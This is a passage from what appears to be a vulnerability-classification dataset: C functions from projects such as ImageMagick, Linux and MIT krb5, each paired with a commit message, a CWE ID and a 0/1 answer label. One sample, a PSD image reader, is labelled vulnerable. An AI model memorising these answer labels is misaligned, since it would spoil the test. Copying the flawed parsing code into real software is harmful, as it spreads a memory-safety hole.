getTerminationInfo as it's only called when the child process is dead or
dying. Also posix kills the process on some calls.
Bug: 940245
Change-Id: Id165711848c279bbe77ef8a784c8cf0b14051877
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1516284
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Reviewed-by: ssid <ssid@chromium.org>
Commit-Queue: Bo <boliu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#639639}
CWE ID: CWE-664
| 0
| 151,839
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int decode_renew(struct xdr_stream *xdr)
{
return decode_op_hdr(xdr, OP_RENEW);
}
Commit Message: NFSv4: Convert the open and close ops to use fmode
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
CWE ID:
| 0
| 23,041
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline MagickBooleanType ValidatePixelCacheMorphology(
const Image *magick_restrict image)
{
const CacheInfo
*magick_restrict cache_info;
const PixelChannelMap
*magick_restrict p,
*magick_restrict q;
/*
Does the image match the pixel cache morphology?
*/
cache_info=(CacheInfo *) image->cache;
p=image->channel_map;
q=cache_info->channel_map;
if ((image->storage_class != cache_info->storage_class) ||
(image->colorspace != cache_info->colorspace) ||
(image->alpha_trait != cache_info->alpha_trait) ||
(image->read_mask != cache_info->read_mask) ||
(image->write_mask != cache_info->write_mask) ||
(image->columns != cache_info->columns) ||
(image->rows != cache_info->rows) ||
(image->number_channels != cache_info->number_channels) ||
(memcmp(p,q,image->number_channels*sizeof(*p)) != 0) ||
(image->metacontent_extent != cache_info->metacontent_extent) ||
(cache_info->nexus_info == (NexusInfo **) NULL))
return(MagickFalse);
return(MagickTrue);
}
Commit Message: Set pixel cache to undefined if any resource limit is exceeded
CWE ID: CWE-119
| 0
| 94,820
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: spnego_gss_wrap_iov(OM_uint32 *minor_status,
gss_ctx_id_t context_handle,
int conf_req_flag,
gss_qop_t qop_req,
int *conf_state,
gss_iov_buffer_desc *iov,
int iov_count)
{
OM_uint32 ret;
ret = gss_wrap_iov(minor_status,
context_handle,
conf_req_flag,
qop_req,
conf_state,
iov,
iov_count);
return (ret);
}
Commit Message: Fix null deref in SPNEGO acceptor [CVE-2014-4344]
When processing a continuation token, acc_ctx_cont was dereferencing
the initial byte of the token without checking the length. This could
result in a null dereference.
CVE-2014-4344:
In MIT krb5 1.5 and newer, an unauthenticated or partially
authenticated remote attacker can cause a NULL dereference and
application crash during a SPNEGO negotiation by sending an empty
token as the second or later context token from initiator to acceptor.
The attacker must provide at least one valid context token in the
security context negotiation before sending the empty token. This can
be done by an unauthenticated attacker by forcing SPNEGO to
renegotiate the underlying mechanism, or by using IAKERB to wrap an
unauthenticated AS-REQ as the first token.
CVSSv2 Vector: AV:N/AC:L/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C
[kaduk@mit.edu: CVE summary, CVSSv2 vector]
(cherry picked from commit 524688ce87a15fc75f87efc8c039ba4c7d5c197b)
ticket: 7970
version_fixed: 1.12.2
status: resolved
CWE ID: CWE-476
| 0
| 36,783
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct o2nm_node *o2nm_node_ip_tree_lookup(struct o2nm_cluster *cluster,
__be32 ip_needle,
struct rb_node ***ret_p,
struct rb_node **ret_parent)
{
struct rb_node **p = &cluster->cl_node_ip_tree.rb_node;
struct rb_node *parent = NULL;
struct o2nm_node *node, *ret = NULL;
while (*p) {
int cmp;
parent = *p;
node = rb_entry(parent, struct o2nm_node, nd_ip_node);
cmp = memcmp(&ip_needle, &node->nd_ipv4_address,
sizeof(ip_needle));
if (cmp < 0)
p = &(*p)->rb_left;
else if (cmp > 0)
p = &(*p)->rb_right;
else {
ret = node;
break;
}
}
if (ret_p != NULL)
*ret_p = p;
if (ret_parent != NULL)
*ret_parent = parent;
return ret;
}
Commit Message: ocfs2: subsystem.su_mutex is required while accessing the item->ci_parent
The subsystem.su_mutex is required while accessing the item->ci_parent,
otherwise, NULL pointer dereference to the item->ci_parent will be
triggered in the following situation:
add node delete node
sys_write
vfs_write
configfs_write_file
o2nm_node_store
o2nm_node_local_write
do_rmdir
vfs_rmdir
configfs_rmdir
mutex_lock(&subsys->su_mutex);
unlink_obj
item->ci_group = NULL;
item->ci_parent = NULL;
to_o2nm_cluster_from_node
node->nd_item.ci_parent->ci_parent
BUG since of NULL pointer dereference to nd_item.ci_parent
Moreover, the o2nm_cluster also should be protected by the
subsystem.su_mutex.
[alex.chen@huawei.com: v2]
Link: http://lkml.kernel.org/r/59EEAA69.9080703@huawei.com
Link: http://lkml.kernel.org/r/59E9B36A.10700@huawei.com
Signed-off-by: Alex Chen <alex.chen@huawei.com>
Reviewed-by: Jun Piao <piaojun@huawei.com>
Reviewed-by: Joseph Qi <jiangqi903@gmail.com>
Cc: Mark Fasheh <mfasheh@versity.com>
Cc: Joel Becker <jlbec@evilplan.org>
Cc: Junxiao Bi <junxiao.bi@oracle.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-476
| 0
| 85,759
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static Image *ReadPSDImage(const ImageInfo *image_info,
ExceptionInfo *exception)
{
Image
*image;
MagickBooleanType
has_merged_image,
skip_layers,
status;
MagickOffsetType
offset;
MagickSizeType
length;
PSDInfo
psd_info;
register ssize_t
i;
ssize_t
count;
unsigned char
*data;
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickSignature);
image=AcquireImage(image_info);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
Read image header.
*/
count=ReadBlob(image,4,(unsigned char *) psd_info.signature);
psd_info.version=ReadBlobMSBShort(image);
if ((count == 0) || (LocaleNCompare(psd_info.signature,"8BPS",4) != 0) ||
((psd_info.version != 1) && (psd_info.version != 2)))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
count=ReadBlob(image,6,psd_info.reserved);
psd_info.channels=ReadBlobMSBShort(image);
if (psd_info.channels > MaxPSDChannels)
ThrowReaderException(CorruptImageError,"MaximumChannelsExceeded");
psd_info.rows=ReadBlobMSBLong(image);
psd_info.columns=ReadBlobMSBLong(image);
if ((psd_info.version == 1) && ((psd_info.rows > 30000) ||
(psd_info.columns > 30000)))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
psd_info.depth=ReadBlobMSBShort(image);
if ((psd_info.depth != 1) && (psd_info.depth != 8) && (psd_info.depth != 16))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
psd_info.mode=ReadBlobMSBShort(image);
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s",
(double) psd_info.columns,(double) psd_info.rows,(double)
psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType)
psd_info.mode));
/*
Initialize image.
*/
image->depth=psd_info.depth;
image->columns=psd_info.columns;
image->rows=psd_info.rows;
if (SetImageBackgroundColor(image) == MagickFalse)
{
InheritException(exception,&image->exception);
image=DestroyImageList(image);
return((Image *) NULL);
}
if (psd_info.mode == LabMode)
SetImageColorspace(image,LabColorspace);
if (psd_info.mode == CMYKMode)
{
SetImageColorspace(image,CMYKColorspace);
image->matte=psd_info.channels > 4 ? MagickTrue : MagickFalse;
}
else if ((psd_info.mode == BitmapMode) || (psd_info.mode == GrayscaleMode) ||
(psd_info.mode == DuotoneMode))
{
status=AcquireImageColormap(image,psd_info.depth != 16 ? 256 : 65536);
if (status == MagickFalse)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Image colormap allocated");
SetImageColorspace(image,GRAYColorspace);
image->matte=psd_info.channels > 1 ? MagickTrue : MagickFalse;
}
else
image->matte=psd_info.channels > 3 ? MagickTrue : MagickFalse;
/*
Read PSD raster colormap only present for indexed and duotone images.
*/
length=ReadBlobMSBLong(image);
if (length != 0)
{
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" reading colormap");
if (psd_info.mode == DuotoneMode)
{
/*
Duotone image data; the format of this data is undocumented.
*/
data=(unsigned char *) AcquireQuantumMemory((size_t) length,
sizeof(*data));
if (data == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
count=ReadBlob(image,(size_t) length,data);
data=(unsigned char *) RelinquishMagickMemory(data);
}
else
{
size_t
number_colors;
/*
Read PSD raster colormap.
*/
number_colors=length/3;
if (number_colors > 65536)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
if (AcquireImageColormap(image,number_colors) == MagickFalse)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
for (i=0; i < (ssize_t) image->colors; i++)
image->colormap[i].red=ScaleCharToQuantum((unsigned char)
ReadBlobByte(image));
for (i=0; i < (ssize_t) image->colors; i++)
image->colormap[i].green=ScaleCharToQuantum((unsigned char)
ReadBlobByte(image));
for (i=0; i < (ssize_t) image->colors; i++)
image->colormap[i].blue=ScaleCharToQuantum((unsigned char)
ReadBlobByte(image));
image->matte=MagickFalse;
}
}
has_merged_image=MagickTrue;
length=ReadBlobMSBLong(image);
if (length != 0)
{
unsigned char
*blocks;
/*
Image resources block.
*/
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" reading image resource blocks - %.20g bytes",(double)
((MagickOffsetType) length));
blocks=(unsigned char *) AcquireQuantumMemory((size_t) length+16,
sizeof(*blocks));
if (blocks == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
count=ReadBlob(image,(size_t) length,blocks);
if ((count != (ssize_t) length) ||
(LocaleNCompare((char *) blocks,"8BIM",4) != 0))
{
blocks=(unsigned char *) RelinquishMagickMemory(blocks);
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
}
(void) ParseImageResourceBlocks(image,blocks,(size_t) length,
&has_merged_image);
blocks=(unsigned char *) RelinquishMagickMemory(blocks);
}
/*
Layer and mask block.
*/
length=GetPSDSize(&psd_info,image);
if (length == 8)
{
length=ReadBlobMSBLong(image);
length=ReadBlobMSBLong(image);
}
offset=TellBlob(image);
skip_layers=MagickFalse;
if ((image_info->number_scenes == 1) && (image_info->scene == 0) &&
(has_merged_image != MagickFalse))
{
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" read composite only");
skip_layers=MagickTrue;
}
if (length == 0)
{
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" image has no layers");
}
else
{
if (ReadPSDLayers(image,image_info,&psd_info,skip_layers,exception) !=
MagickTrue)
{
(void) CloseBlob(image);
return((Image *) NULL);
}
/*
Skip the rest of the layer and mask information.
*/
SeekBlob(image,offset+length,SEEK_SET);
}
/*
If we are only "pinging" the image, then we're done - so return.
*/
if (image_info->ping != MagickFalse)
{
(void) CloseBlob(image);
return(image);
}
/*
Read the precombined layer, present for PSD < 4 compatibility.
*/
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" reading the precombined layer");
if (has_merged_image != MagickFalse || GetImageListLength(image) == 1)
has_merged_image=(MagickBooleanType) ReadPSDMergedImage(image,&psd_info,
exception);
if (has_merged_image == MagickFalse && GetImageListLength(image) == 1 &&
length != 0)
{
SeekBlob(image,offset,SEEK_SET);
if (ReadPSDLayers(image,image_info,&psd_info,MagickFalse,exception) !=
MagickTrue)
{
(void) CloseBlob(image);
return((Image *) NULL);
}
}
if (has_merged_image == MagickFalse && GetImageListLength(image) > 1)
{
Image
*merged;
SetImageAlphaChannel(image,TransparentAlphaChannel);
image->background_color.opacity=TransparentOpacity;
merged=MergeImageLayers(image,FlattenLayer,exception);
ReplaceImageInList(&image,merged);
}
(void) CloseBlob(image);
return(GetFirstImageInList(image));
}
Commit Message:
CWE ID: CWE-119
| 1
| 168,595
|
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